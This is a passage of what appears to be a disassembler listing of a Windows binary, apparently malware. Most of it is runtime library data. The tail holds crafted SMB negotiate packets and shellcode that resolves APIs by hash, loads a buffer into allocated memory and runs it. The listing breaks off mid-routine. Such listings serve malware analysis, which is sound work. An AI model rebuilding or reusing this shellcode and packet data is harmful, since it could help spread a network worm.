dword_4371A4 dd 7C832044h ; resolved to->KERNEL32.SetEndOfFiledword_4371A8 dd 7C80BCCFh ; resolved to->KERNEL32.IsBadCodePtrdword_4371AC dd 7C809E01h ; resolved to->KERNEL32.IsBadReadPtrdword_4371B0 dd 7C812641h ; resolved to->KERNEL32.FlushFileBuffersdword_4371B4 dd 7C80A490h ; resolved to->KERNEL32.GetStringTypeW ; sub_43340D+12Dr
dword_4371B8 dd 7C838A0Ch ; resolved to->KERNEL32.GetStringTypeA ; sub_43340D+8Dr
dword_4371BC dd 7C812F08h ; resolved to->KERNEL32.GetEnvironmentStringsWdword_4371C0 dd 7C81CF5Bh ; resolved to->KERNEL32.GetEnvironmentStringsA ; sub_432E65+E1r
dword_4371C4 dd 7C814AE7h ; resolved to->KERNEL32.FreeEnvironmentStringsWdword_4371C8 dd 7C81DF77h ; resolved to->KERNEL32.FreeEnvironmentStringsAdword_4371CC dd 7C8127A7h ; resolved to->KERNEL32.GetOEMCPdword_4371D0 dd 7C809915h ; resolved to->KERNEL32.GetACPdword_4371D4 dd 7C812E76h ; resolved to->KERNEL32.GetCPInfo ; sub_43284B+14r ...
dword_4371D8 dd 7C81DC03h ; resolved to->KERNEL32.SetStdHandle ; sub_43228A:loc_4322E0r
dword_4371DC dd 7C84467Dh ; resolved to->KERNEL32.SetUnhandledExceptionFilter ; sub_432027+6r
dword_4371E0 dd 7C9109EDh ; resolved to->NTDLL.RtlSizeHeapdword_4371E4 dd 7C80CCA8h ; resolved to->KERNEL32.LCMapStringW ; sub_430CCF+14Dr ...
dword_4371E8 dd 7C838DE8h ; resolved to->KERNEL32.LCMapStringA ; sub_430CCF+A7r
dword_4371EC dd 7C862E2Ah ; resolved to->KERNEL32.UnhandledExceptionFilterdword_4371F0 dd 7C810E51h ; resolved to->KERNEL32.GetFileType ; sub_42F62C+17Ar ...
dword_4371F4 dd 7C812BB6h ; resolved to->KERNEL32.HeapCreatedword_4371F8 dd 7C810EF8h ; resolved to->KERNEL32.HeapDestroydword_4371FC dd 7C812F39h ; resolved to->KERNEL32.GetStdHandle ; sub_432FD0+143r
dword_437200 dd 7C80CC97h ; resolved to->KERNEL32.SetHandleCountdword_437204 dd 7C809740h ; resolved to->KERNEL32.TlsGetValue ; sub_42E485+18r
dword_437208 dd 7C910340h ; resolved to->NTDLL.RtlSetLastWin32Errordword_43720C dd 7C9105D4h ; resolved to->NTDLL.RtlAllocateHeap ; sub_42B2CA+F6r ...
dword_437210 dd 7C91043Dh ; resolved to->NTDLL.RtlFreeHeap ; sub_42C855+2C5r ...
dword_437214 dd 7C8350BFh ; resolved to->KERNEL32.GetTimeZoneInformation ; sub_4338E9+4Er
dword_437218 dd 7C80176Bh ; resolved to->KERNEL32.GetSystemTimedword_43721C dd 7C80977Ah ; resolved to->KERNEL32.InterlockedDecrement ; sub_42AE50+53r ...
dword_437220 dd 7C809766h ; resolved to->KERNEL32.InterlockedIncrement ; sub_42AE50+44r ...
dword_437224 dd 7C8328F7h ; resolved to->KERNEL32.ResumeThreaddword_437228 dd 7C809BC5h ; resolved to->KERNEL32.TlsSetValue ; sub_42E3B7+2Er ...
dword_43722C dd 7C937A40h ; resolved to->NTDLL.RtlUnwinddword_437230 dd 7C812A09h ; resolved to->KERNEL32.RaiseException ; sub_42FBE4+215r
dword_437234 dd 7C801EEEh ; resolved to->KERNEL32.GetStartupInfoA ; sub_42F62C+5Er
dword_437238 dd 7C812F1Dh ; resolved to->KERNEL32.GetCommandLineAdword_43723C dd 7C8111DAh ; resolved to->KERNEL32.GetVersiondword_437240 dd 7C814AF2h ; resolved to->KERNEL32.GetEnvironmentVariableA align 8
dword_437248 dd 0 align 10h
dword_437250 dd 0 align 8
dword_437258 dd 0 ; sub_422394+4Dr
dword_43725C dd 0 ; sub_41E96A+28r ...
dd 0
dword_437264 dd 0 ; sub_423850+2CBr ...
dword_437268 dd 0 dword_43726C dd 0 ; sub_426B7C+19r
dword_437270 dd 0 ; sub_426B7C+7Dr
dword_437274 dd 0 ; sub_41557B+2Cr ...
dd 0
dword_43727C dd 0 dd 0
dword_437284 dd 0 dword_437288 dd 0 ; sub_42251B+C2r ...
dword_43728C dd 0 ; sub_41DC43+A6r ...
dword_437290 dd 0 ; sub_41DDA8+31Dr ...
dword_437294 dd 0 dword_437298 dd 0 dword_43729C dd 0 dword_4372A0 dd 0 ; sub_40A938+8409r ...
dword_4372A4 dd 0 ; sub_41F02F+E2r ...
dword_4372A8 dd 0 dword_4372AC dd 0 dword_4372B0 dd 0 dword_4372B4 dd 0 ; sub_407373+19r ...
dword_4372B8 dd 0 ; sub_4066B3+48r ...
dword_4372BC dd 0 ; sub_409F99+33r ...
dword_4372C0 dd 0 ; sub_4044F6+29Cr ...
dword_4372C4 dd 0 ; sub_42251B+7Br ...
dword_4372C8 dd 0 ; sub_4044F6+2ADr ...
dword_4372CC dd 0 dword_4372D0 dd 0 dword_4372D4 dd 0 ; ?9:004040EDr ...
dword_4372D8 dd 0 ; sub_42251B+CDr ...
dword_4372DC dd 0 ; sub_426C5A+16r ...
dword_4372E0 dd 0 ; sub_428D2F+B5r
dword_4372E4 dd 0 dword_4372E8 dd 0 dword_4372EC dd 0 dd 0
dword_4372F4 dd 0 align 10h
flt_437300 dd 5.0e-1 ; DATA XREF: sub_405C6A+509r
align 8
dword_437308 dd 0FFFFFFFFh, 40A52Bh, 40A55Ch, 0dword_437318 dd 0FFFFFFFFh, 40A5CAh, 40A5CEh, 0dbl_437328 dq 9.765625e-4 ; DATA XREF: sub_4181F4+223r
; sub_4181F4+238r ...
dword_437330 dd 10h ; sub_40A938+621r ...
off_437334 dd offset sub_419565 ; DATA XREF: sub_419551+4o
; sub_419581+Fo ...
dword_437338 dd 2 dup(0) ; sub_41B35A+57o ...
dbl_437340 dq -3.0517578125e-5 ; DATA XREF: sub_41E34F+1Fr
flt_437348 dd 9.765625e-4 ; DATA XREF: sub_425D4F+1B5r
flt_43734C dd 8.0 ; DATA XREF: sub_425D4F+1AFr
flt_437350 dd 0.0 ; DATA XREF: sub_425D4F+174r
flt_437354 dd 1.0e-3 ; DATA XREF: sub_425D4F+16Br
dbl_437358 dq -1.52587890625e-4 ; DATA XREF: sub_426698+3DFr
dbl_437360 dq 3.0517578125e-4 ; DATA XREF: sub_426698+3C0r
dbl_437368 dq -3.0517578125e-4 ; DATA XREF: sub_426698+33Er
; sub_426698+3A2r
dbl_437370 dq 1.52587890625e-4 ; DATA XREF: sub_426698+279r
dbl_437378 dq -1.739501953125e-3 ; DATA XREF: sub_426698+254r
; sub_426698+2DDr ...
dbl_437380 dq 3.143310546875e-3 ; DATA XREF: sub_426698+EDr
dbl_437388 dq 3.0517578125e-5 ; DATA XREF: sub_426698+BAr
; sub_426698+143r ...
dbl_437390 dq 6.103515625e-5 ; DATA XREF: sub_426698+9Fr
; sub_426698+309r
dbl_437398 dq 2.288818359375e-3 ; DATA XREF: sub_426698+2Er
dd offset dword_437FB8
off_4373A4 dd offset loc_4290C5 ; DATA XREF: sub_429011+4Do
; sub_4290E1+Co
dd offset sub_41B1E9
dd offset sub_4290A8
aStringTooLong db 'string too long',0 ; DATA XREF: sub_429011+1Eo
dd offset dword_437FF0
off_4373C4 dd offset loc_41B250 ; DATA XREF: sub_41B189+4Ao
; sub_41B213+11o ...
dd offset sub_41B1E9
dd offset sub_41B1F6
dd offset dword_438040
off_4373D4 dd offset loc_41B31E ; DATA XREF: sub_41B12F+4Do
; sub_41B33A+Co ...
dd offset sub_41B1E9
dd offset sub_41B301
aInvalidStringP db 'invalid string position',0 ; DATA XREF: sub_4290F9+1Eo
dd offset dword_438088
off_4373FC dd offset sub_42925B ; DATA XREF: sub_429229+12o
; ?9:00429290o ...
dword_437400 dd 0FFFFFFFFh, 0 dd offset sub_42978D
dd 0FFFFFFFFh, 0
dd offset sub_4297E9
dword_437418 dd 0FFFFFFFFh, 0 dd offset sub_42988C
dd 0FFFFFFFFh, 0
dd offset sub_4298E4
dbl_437430 dq 1.0 ; DATA XREF: sub_42A636+6Cr
; sub_4305AA+2Ar
dword_437438 dd 0FFFFFFFFh, 42AB9Ch, 42ABB0hdword_437444 dd 6D6D6F63h, 2E646E61h, 6D6F63hdword_437450 dd 632Fh aComspec db 'COMSPEC',0 ; DATA XREF: sub_42B019+8o
align 10h
dword_437460 dd 0FFFFFFFFh, 0 dd offset sub_42B35E
dd 0FFFFFFFFh, 0
dd offset sub_42B3E7
dword_437478 dd 0E06D7363h, 1, 2 dup(0) dd 3, 19930520h, 2 dup(0)
dd offset dword_4380B8
off_43749C dd offset sub_42B8A8 ; DATA XREF: sub_42B8C4+8o
; sub_42B901+8o ...
dd offset sub_42B961
aUnknownExcepti db 'Unknown exception',0 ; DATA XREF: sub_42B961+7o
align 4
dd offset dword_438100
off_4374BC dd offset loc_42B997 ; DATA XREF: sub_42B96E+5o
; ?9:off_447364o ...
dword_4374C0 dd 0FFFFFFFFh, 42C58Dh, 42C5A1ha__global_heap_ db '__GLOBAL_HEAP_SELECTED',0 ; DATA XREF: sub_42C63D+8Eo
align 4
a__msvcrt_heap_ db '__MSVCRT_HEAP_SELECT',0 ; DATA XREF: sub_42C63D+4Fo
align 4
byte_4374FC db 6 ; DATA XREF: sub_42DBAD:loc_42DC04r
db 2 dup(0), 6
dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h
dd 50h, 38282000h, 8075850h, 30303700h, 75057h, 8202000h
dd 0
dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h
dd 8000008h, 7000800h, 8
aNull: ; DATA XREF: ?9:off_45321Co
unicode 0, <(null)>,0
align 4
aNull_0 db '(null)',0 ; DATA XREF: ?9:off_453218o
align 10h
a_yn db '_yn',0
a_y1 db '_y1',0
a_y0 db '_y0',0
aFrexp db 'frexp',0
align 4
aFmod db 'fmod',0
align 4
a_hypot db '_hypot',0
align 4
a_cabs db '_cabs',0
align 4
aLdexp db 'ldexp',0
align 4
aModf db 'modf',0
align 4
aFabs db 'fabs',0
align 4
aFloor db 'floor',0
align 4
aCeil db 'ceil',0
align 4
aTan db 'tan',0
aCos db 'cos',0
aSin db 'sin',0
aSqrt db 'sqrt',0
align 4
aAtan2 db 'atan2',0
align 10h
aAtan db 'atan',0
align 4
aAcos db 'acos',0
align 10h
aAsin db 'asin',0
align 4
aTanh db 'tanh',0
align 10h
aCosh db 'cosh',0
align 4
aSinh db 'sinh',0
align 10h
aLog10 db 'log10',0
align 4
dd offset dword_676F6C
dd 776F70h
dword_437620 dd 707865h, 0 dbl_437628 dq 0.0 ; DATA XREF: sub_42FE97+8Cr
; sub_42FE97+ACr ...
dbl_437630 dq 4.195835e6 ; DATA XREF: sub_4305AA+Fr
dbl_437638 dq 3.145727e6 ; DATA XREF: sub_4305AA+6r
aIsprocessorfea db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_4305E8+Fo
align 4
aKernel32 db 'KERNEL32',0 ; DATA XREF: sub_4305E8o
align 4
aE000 db 'e+000',0 ; DATA XREF: sub_430770+57o
align 10h
dword_437670 dd 2 dup(0) ; sub_43340D+39o ...
dword_437678 dd 0FFFFFFFFh, 430DDFh, 430DE3h, 0FFFFFFFFh, 430E93h, 430E97h
; DATA XREF: sub_430CCF+5o
aPath db 'PATH',0 ; DATA XREF: sub_430EF3+49o
align 4
a_com db '.com',0 ; DATA XREF: ?9:off_4538ACo
align 10h
a_exe db '.exe',0 ; DATA XREF: ?9:004538A8o
align 4
a_bat db '.bat',0 ; DATA XREF: ?9:004538A4o
align 10h
a_cmd db '.cmd',0 ; DATA XREF: ?9:off_4538A0o
align 4
a__0 db '.\',0 ; DATA XREF: sub_431058+51o
align 10h
dword_4376C0 dd 0FFFFFFFFh, 43164Ch, 431656h, 0dword_4376D0 dd 0FFFFFFFFh, 0 dd offset loc_4317DB
align 10h
dd offset sub_4317B9
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
db 17h, 43h, 0
dword_4376E8 dd 0FFFFFFFFh, 431A11h, 431A15h, 0dword_4376F8 dd 0FFFFFFFFh, 431A73h, 431A7Ch, 0dword_437708 dd 0FFFFFFFFh, 0 dd offset loc_431B58
align 8
dd offset loc_431B44
dd offset loc_431B48
dword_437720 dd 0FFFFFFFFh, 0 dd offset loc_431BAE
align 10h
dd offset loc_431B9A
dd offset loc_431B9E
dword_437738 dd 0FFFFFFFFh, 0 dd offset sub_431D36
dd 0FFFFFFFFh, 0
dd offset sub_431E86
dword_437750 dd 0FFFFFFFFh, 0 dd offset sub_431F49
dd 0FFFFFFFFh, 0
dd offset sub_431FC4
aIllegalByteSeq db 'Illegal byte sequence',0 ; DATA XREF: ?9:0045396Co
align 10h
aDirectoryNotEm db 'Directory not empty',0 ; DATA XREF: ?9:00453968o
aFunctionNotImp db 'Function not implemented',0 ; DATA XREF: ?9:00453964o
align 10h
aNoLocksAvailab db 'No locks available',0 ; DATA XREF: ?9:00453960o
align 4
aFilenameTooLon db 'Filename too long',0 ; DATA XREF: ?9:0045395Co
align 4
aResourceDeadlo db 'Resource deadlock avoided',0 ; DATA XREF: ?9:00453954o
align 4
aResultTooLarge db 'Result too large',0 ; DATA XREF: ?9:0045394Co
align 4
aDomainError db 'Domain error',0 ; DATA XREF: ?9:00453948o
align 4
aBrokenPipe db 'Broken pipe',0 ; DATA XREF: ?9:00453944o
aTooManyLinks db 'Too many links',0 ; DATA XREF: ?9:00453940o
align 4
aReadOnlyFileSy db 'Read-only file system',0 ; DATA XREF: ?9:0045393Co
align 4
aInvalidSeek db 'Invalid seek',0 ; DATA XREF: ?9:00453938o
align 4
aNoSpaceLeftOnD db 'No space left on device',0 ; DATA XREF: ?9:00453934o
aFileTooLarge db 'File too large',0 ; DATA XREF: ?9:00453930o
align 4
aInappropriateI db 'Inappropriate I/O control operation',0 ; DATA XREF: ?9:00453928o
aTooManyOpenFil db 'Too many open files',0 ; DATA XREF: ?9:00453924o
aTooManyOpenF_0 db 'Too many open files in system',0 ; DATA XREF: ?9:00453920o
align 4
aInvalidArgumen db 'Invalid argument',0 ; DATA XREF: ?9:0045391Co
align 10h
aIsADirectory db 'Is a directory',0 ; DATA XREF: ?9:00453918o
align 10h
aNotADirectory db 'Not a directory',0 ; DATA XREF: ?9:00453914o
aNoSuchDevice db 'No such device',0 ; DATA XREF: ?9:00453910o
align 10h
aImproperLink db 'Improper link',0 ; DATA XREF: ?9:0045390Co
align 10h
aFileExists db 'File exists',0 ; DATA XREF: ?9:00453908o
aResourceDevice db 'Resource device',0 ; DATA XREF: ?9:00453904o
aUnknownError db 'Unknown error',0 ; DATA XREF: ?9:00453900o ?9:0045392Co ...
align 4
aBadAddress db 'Bad address',0 ; DATA XREF: ?9:004538FCo
aPermissionDeni db 'Permission denied',0 ; DATA XREF: ?9:004538F8o
align 4
aNotEnoughSpace db 'Not enough space',0 ; DATA XREF: ?9:004538F4o
align 10h
aResourceTempor db 'Resource temporarily unavailable',0 ; DATA XREF: ?9:004538F0o
align 4
aNoChildProcess db 'No child processes',0 ; DATA XREF: ?9:004538ECo
align 4
aBadFileDescrip db 'Bad file descriptor',0 ; DATA XREF: ?9:004538E8o
aExecFormatErro db 'Exec format error',0 ; DATA XREF: ?9:004538E4o
align 10h
aArgListTooLong db 'Arg list too long',0 ; DATA XREF: ?9:004538E0o
align 4
aNoSuchDeviceOr db 'No such device or address',0 ; DATA XREF: ?9:004538DCo
align 10h
aInputOutputErr db 'Input/output error',0 ; DATA XREF: ?9:004538D8o
align 4
aInterruptedFun db 'Interrupted function call',0 ; DATA XREF: ?9:004538D4o
align 10h
aNoSuchProcess db 'No such process',0 ; DATA XREF: ?9:004538D0o
aNoSuchFileOrDi db 'No such file or directory',0 ; DATA XREF: ?9:004538CCo
align 4
aOperationNotPe db 'Operation not permitted',0 ; DATA XREF: ?9:004538C8o
aNoError db 'No error',0 ; DATA XREF: ?9:off_4538C4o
align 10h
aRuntimeError db 'runtime error ',0
align 10h
aTlossError db 'TLOSS error',0Dh,0Ah,0
align 10h
aSingError db 'SING error',0Dh,0Ah,0
align 10h
aDomainError_0 db 'DOMAIN error',0Dh,0Ah,0
align 10h
aR6028UnableToI db 'R6028',0Dh,0Ah
db '- unable to initialize heap',0Dh,0Ah,0
align 4
aR6027NotEnough db 'R6027',0Dh,0Ah
db '- not enough space for lowio initialization',0Dh,0Ah,0
align 10h
aR6026NotEnough db 'R6026',0Dh,0Ah
db '- not enough space for stdio initialization',0Dh,0Ah,0
align 4
aR6025PureVirtu db 'R6025',0Dh,0Ah
db '- pure virtual function call',0Dh,0Ah,0
align 10h
aR6024NotEnough db 'R6024',0Dh,0Ah
db '- not enough space for _onexit/atexit table',0Dh,0Ah,0
align 4
aR6019UnableToO db 'R6019',0Dh,0Ah
db '- unable to open console device',0Dh,0Ah,0
align 4
aR6018Unexpecte db 'R6018',0Dh,0Ah
db '- unexpected heap error',0Dh,0Ah,0
align 4
aR6017Unexpecte db 'R6017',0Dh,0Ah
db '- unexpected multithread lock error',0Dh,0Ah,0
align 4
aR6016NotEnough db 'R6016',0Dh,0Ah
db '- not enough space for thread data',0Dh,0Ah,0
aAbnormalProgra db 0Dh,0Ah
db 'abnormal program termination',0Dh,0Ah,0
align 4
aR6009NotEnough db 'R6009',0Dh,0Ah
db '- not enough space for environment',0Dh,0Ah,0
aR6008NotEnough db 'R6008',0Dh,0Ah
db '- not enough space for arguments',0Dh,0Ah,0
align 10h
aR6002FloatingP db 'R6002',0Dh,0Ah ; DATA XREF: ?9:off_453A74o
db '- floating point not loaded',0Dh,0Ah,0
align 4
aMicrosoftVisua db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_432FD0+119o
align 10h
asc_437D50 db 0Ah ; DATA XREF: sub_432FD0+F1o
db 0Ah,0
align 4
aRuntimeErrorPr db 'Runtime Error!',0Ah ; DATA XREF: sub_432FD0+D3o
db 0Ah
db 'Program: ',0
align 10h
aProgramNameUnk db '<program name unknown>',0 ; DATA XREF: sub_432FD0+7Do
align 4
dword_437D88 dd 0FFFFFFFFh, 433506h, 43350AhaSunmontuewedth db 'SunMonTueWedThuFriSat',0
align 4
aJanfebmaraprma db 'JanFebMarAprMayJunJulAugSepOctNovDec',0
align 4
aTz db 'TZ',0 ; DATA XREF: sub_4338E9+2Ao
align 4
aGetlastactivep db 'GetLastActivePopup',0 ; DATA XREF: sub_434CA0+3Do
align 4
aGetactivewindo db 'GetActiveWindow',0 ; DATA XREF: sub_434CA0+35o
aHMmSs db 'H:mm:ss',0
aDdddMmmmDdYyyy db 'dddd, MMMM dd, yyyy',0
aMDYy db 'M/d/yy',0
align 10h
aDecember db 'December',0
align 4
aNovember db 'November',0
align 4
aOctober db 'October',0
aSeptember db 'September',0
align 4
aAugust db 'August',0
align 4
aJuly db 'July',0
align 4
aJune db 'June',0
align 4
aApril db 'April',0
align 4
aMarch db 'March',0
align 4
aFebruary db 'February',0
align 10h
aJanuary db 'January',0
dd offset dword_636544
dd 766F4Eh, 74634Fh, 706553h, 677541h, 6C754Ah, 6E754Ah
dd 79614Dh, 727041h, 72614Dh, 626546h, 6E614Ah, 75746153h
dd 79616472h, 0
aFriday db 'Friday',0
align 4
aThursday db 'Thursday',0
align 4
aWednesday db 'Wednesday',0
align 4
aTuesday db 'Tuesday',0
aMonday db 'Monday',0
align 4
aSunday db 'Sunday',0
align 4
aSat db 'Sat',0
dd offset word_697246
dd 756854h, 646557h, 657554h, 6E6F4Dh, 6E7553h
dword_437F18 dd 4E512331h, 4E41hdword_437F20 dd 4E492331h, 46hdword_437F28 dd 4E492331h, 44hdword_437F30 dd 4E532331h, 4E41hdword_437F38 dd 0FFFFFFFFh, 435BCCh, 435BD0h, 0FFFFFFFFh, 435C3Bh, 435C3Fh
; DATA XREF: sub_435A15+5o
dd 447364h, 2 dup(0)
dd 0FFFFFFFFh, 2 dup(0)
off_437F68 dd offset off_44737C ; DATA XREF: ?9:00437F9Co ?9:00437FD0o ...
dd 1, 0
dd 0FFFFFFFFh, 2 dup(0)
off_437F80 dd offset off_450DE0 ; DATA XREF: ?9:00437F98o
dd 2, 0
dd 0FFFFFFFFh, 2 dup(0)
dd offset off_437F80
dd offset off_437F68
dd offset dword_437F38+18h
dd 0
db 0 ; DATA XREF: ?9:00437FC8o
db 0
db 0
db 0
db 0
db 0
db 0
db 0
dd 3, 437F98h
dword_437FB8 dd 3 dup(0) dd offset off_450DE0
dd offset unk_437FA8
align 10h
dd offset off_437F68
dd offset dword_437F38+18h
dword_437FD8 dd 4 dup(0) dd 2, 437FD0h
dword_437FF0 dd 3 dup(0) dd offset off_44737C
dd offset dword_437FD8+8
align 8
off_438008 dd offset off_44739C ; DATA XREF: ?9:00438020o
dd 2, 0
dd 0FFFFFFFFh, 2 dup(0)
dd offset off_438008
dd offset off_437F68
dd offset dword_437F38+18h
dword_43802C dd 3 dup(0) dd 3, 438020h
dword_438040 dd 3 dup(0) dd offset off_44739C
dd offset dword_43802C+4
align 8
off_438058 dd offset off_450E10 ; DATA XREF: ?9:00438070o
dd 2 dup(0)
dd 0FFFFFFFFh, 2 dup(0)
dd offset off_438058
dd 0
db 0 ; DATA XREF: ?9:00438098o
db 0
db 0
db 0
db 0
db 0
db 0
db 0
dd 1, 438070h
dword_438088 dd 3 dup(0) dd offset off_450E10
dd offset unk_438078
dd offset dword_437F38+18h
dword_4380A0 dd 4 dup(0) dd 1, 43809Ch
dword_4380B8 dd 3 dup(0) dd offset off_447364
dd offset dword_4380A0+8
align 10h
off_4380D0 dd offset off_450E80 ; DATA XREF: ?9:004380E8o
dd 2 dup(0)
dd 0FFFFFFFFh, 2 dup(0)
dd offset off_4380D0
dword_4380EC dd 3 dup(0) dd 1, 4380E8h
dword_438100 dd 3 dup(0) dd offset off_450E80
dd offset dword_4380EC+4
align 8
dd 0FFFFFFFFh, 436238h
dword_438120 dd 19930520h, 1, 438118h, 4 dup(0) dd 0FFFFFFFFh, 43624Ch
dword_438144 dd 19930520h, 1, 43813Ch, 4 dup(0) dd 0FFFFFFFFh, 436270h, 0
dd offset loc_436260
dd 1, 436268h
dword_438178 dd 19930520h, 3, 438160h, 4 dup(0) dd 0FFFFFFFFh, 436294h
dword_43819C dd 19930520h, 1, 438194h, 4 dup(0) dd 0FFFFFFFFh, 4362A8h, 0
dd offset loc_4362B0
dd 0
dd offset loc_4362B8
dd 0
dd offset loc_4362C0
dd 3, 4362C8h, 4, 4362D0h, 0
dd offset loc_4362D8
dd 6, 4362E0h, 0
dd offset loc_4362E8
dd 8, 4362F0h, 9, 4362F8h, 0
dd offset loc_436300
dd 0Bh, 436308h, 0Ch, 436310h, 0
dd offset loc_436318
dd 0Eh, 436320h, 0
dd offset loc_436328
dd 0
dd offset loc_436330
dd 11h, 436338h, 11h, 436340h
dword_438258 dd 19930520h, 14h, 4381B8h, 4 dup(0) dd 0FFFFFFFFh, 436354h, 0
dd offset loc_43635F
dd 1, 436367h, 2, 43636Fh, 3, 43637Ah, 4, 436385h, 5, 436390h
dd 6, 436398h, 7, 4363A3h, 8, 4363ABh, 8, 4363B6h, 8, 4363C1h
dd 7, 4363CCh, 0Ch, 4363D7h, 7, 4363D7h, 0Eh, 4363E2h
dd 0Fh, 4363EDh, 0Eh, 4363F8h, 11h, 436403h, 0Eh, 436403h
dd 13h, 43640Eh, 7, 436419h, 15h, 436424h, 7, 436424h
dd 17h, 43642Fh, 18h, 43643Ah, 17h, 436445h, 1Ah, 436450h
dd 17h, 436450h, 1Ch, 43645Bh, 7, 436466h, 1Eh, 436471h
dd 7, 436471h, 20h, 43647Ch, 21h, 436487h, 20h, 436492h
dd 23h, 43649Dh, 20h, 43649Dh, 25h, 4364A8h, 7, 4364B3h
dd 27h, 4364BEh, 7, 4364BEh, 29h, 4364C9h, 2Ah, 4364D4h
dd 29h, 4364DFh, 2Ch, 4364EAh, 29h, 4364EAh, 2Eh, 4364F5h
dword_4383F4 dd 19930520h, 30h, 438274h, 5 dup(0) dd offset off_447364
dd 0
dd 0FFFFFFFFh, 0
dd 0Ch, 42B901h, 0
dd offset off_44737C
align 8
dd 0FFFFFFFFh, 0
dd 1Ch, 41B26Ch, 0
dd offset off_44739C
dd 0
dd 0FFFFFFFFh, 0
dword_43845C dd 1Ch, 41B33Ah, 3, 438448h, 43842Ch, 438410hdword_438474 dd 0 ; sub_41B301+12o ...
dd offset sub_41B2C4
align 10h
dd offset dword_43845C+8
dd 0FFFFFFFFh, 43650Ch
dword_43848C dd 19930520h, 1, 438484h, 4 dup(0) dd 0FFFFFFFFh, 436520h
dword_4384B0 dd 19930520h, 1, 4384A8h, 4 dup(0)dword_4384CC dd 2, 43842Ch, 438410hdword_4384D8 dd 0 dd offset sub_41B213
dd 0
dd offset dword_4384CC
dd 0FFFFFFFFh, 436534h
dword_4384F0 dd 19930520h, 1, 4384E8h, 4 dup(0) dd 0FFFFFFFFh, 436548h
dword_438514 dd 19930520h, 1, 43850Ch, 4 dup(0) dd 0FFFFFFFFh, 43655Ch
dword_438538 dd 19930520h, 1, 438530h, 4 dup(0) dd 0FFFFFFFFh, 0
dd 0FFFFFFFFh, 4 dup(0)
dd offset loc_41B78B
dd 2 dup(0)
dd 2 dup(1), 438564h
dword_438588 dd 19930520h, 2, 438554h, 1, 438574h, 2 dup(0) dd 0FFFFFFFFh, 43657Ch
dword_4385AC dd 19930520h, 1, 4385A4h, 4 dup(0) dd 0FFFFFFFFh, 436590h, 0
dd offset loc_436598
dd 1, 4365A0h, 2, 4365A8h
dword_4385E8 dd 19930520h, 4, 4385C8h, 6 dup(0) dd offset off_450DE0
dd 0
dd 0FFFFFFFFh, 0
dd 1Ch, 4290E1h, 0
dword_438628 dd 3, 438608h, 43842Ch, 438410hdword_438638 dd 0 ; sub_4290A8+12o
dd offset sub_42906B
dd 0
dd offset dword_438628
dword_438648 dd 19930520h, 1, 438668h, 5 dup(0) dd 0FFFFFFFFh, 4365BCh
dword_438670 dd 19930520h, 1, 438690h, 5 dup(0) dd 0FFFFFFFFh, 4365D0h
dword_438698 dd 19930520h, 1, 4386B8h, 5 dup(0) dd 0FFFFFFFFh, 4365E4h, 0
dd offset off_450E10
dd 0
dd 0FFFFFFFFh, 0
dd 10h, 429277h, 0
dword_4386E0 dd 1, 4386C0h dword_4386E8 dd 0 dd offset sub_4292A4
dd 0
dd offset dword_4386E0
dd 387F0h, 2 dup(0)
dd 39082h, 37030h, 38A24h, 2 dup(0)
dd 390E0h, 37264h, 387C0h, 2 dup(0)
dd 391BCh, 37000h, 38A18h, 2 dup(0)
dd 391F4h, 37258h, 38A44h, 2 dup(0)
dd 3920Eh, 37284h, 38A08h, 2 dup(0)
dd 39230h, 37248h, 38AB4h, 2 dup(0)
dd 39246h, 372F4h, 38A3Ch, 2 dup(0)
dd 39270h, 3727Ch, 38A10h, 2 dup(0)
dd 395FEh, 37250h, 615h dup(0)
dword_43A000 dd 0 dd offset sub_405B69
dd offset sub_418CA0
dd offset loc_429153
dword_43A010 dd 0 dword_43A014 dd 0 dd offset sub_42B7AB
dd offset sub_42C048
dd offset sub_4329D0
dd offset sub_432016
dword_43A028 dd 0 dword_43A02C dd 0 dd offset sub_42C0F0
dword_43A034 dd 0 dword_43A038 dd 0 dd offset sub_432027
dword_43A040 dd 4 dup(0) byte_43A050 db 90h ; DATA XREF: sub_40126C+B2o
db 42h, 90h, 42h
db 90h
dd offset loc_429040+2
align 4
dword_43A05C dd 10FF8h, 0 dword_43A064 dd 10FF8h dword_43A068 dd 7FFDF020h, 0 dword_43A070 dd 424D53FFh, 72h, 0C8531800h, 3 dup(0) dd 13370000h, 0
dd 2006200h
aPcNetworkProgr db 'PC NETWORK PROGRAM 1.0',0
db 2
db 4Ch ; L
db 41h, 4Eh, 4Dh
db 41h ; A
db 4Eh, 31h, 2Eh
db 30h ; 0
align 2
dw 5702h
aIndowsForWorkg db 'indows for Workgroups 3.1a',0
db 2
dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_43A0F8 dd 424D53FFh, 73h, 0C8071800h, 3 dup(0) dd 13370000h, 0
dd 0FF0Ch, 0A110400h, 2 dup(0)
dword_43A128 dd 0 dd 800000D4h, 2 dup(0)
unk_43A138 db 81h ; ; DATA XREF: sub_401766+Ao
db 2 dup(0), 44h
aCkfdenecfdeffc db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0
aCacacacacacaca db ' CACACACACACACACACACACACACACACAAA',0
dd 0
dword_43A184 dd 158h
; =============== S U B R O U T I N E =======================================
sub_43A188 proc near ; DATA XREF: ?9:0040181Bo
push ebx
push esi
push edi
sub sp, 80h
mov esi, esp
call sub_43A284
push dword ptr [esi]
push 63D61209h
call sub_43A29A
mov [esi+8], eax
call sub_43A24D
push dword ptr [esi+4]
push 0CA2BD06Bh
call sub_43A29A
mov [esi+0Ch], eax
call sub_43A1FF
push dword ptr [esi+4]
push 4C0297FAh
call sub_43A29A
xor ebx, ebx
push 410h
push ebx
call eax
mov ebx, eax
push esi
mov esi, [esi+10h]
mov edi, eax
mov ecx, 410h
rep movsb
pop esi
xor eax, eax
push eax
push eax
push eax
push ebx
push eax
push eax
call dword ptr [esi+0Ch]
mov eax, [esi+8]
add sp, 80h
pop edi
pop esi
pop ebx
jmp eax
sub_43A188 endp
; =============== S U B R O U T I N E =======================================
sub_43A1FF proc near ; CODE XREF: sub_43A188+33p
var_20 = dword ptr -20h
var_14 = dword ptr -14h
pusha
call sub_43A228
mov eax, [esp+20h+var_14]
lea ebx, [eax+7Ch]
add dword ptr [ebx+3Ch], 5
add dword ptr [ebx+28h], 1000h
and dword ptr [ebx+28h], 0FFFFF000h
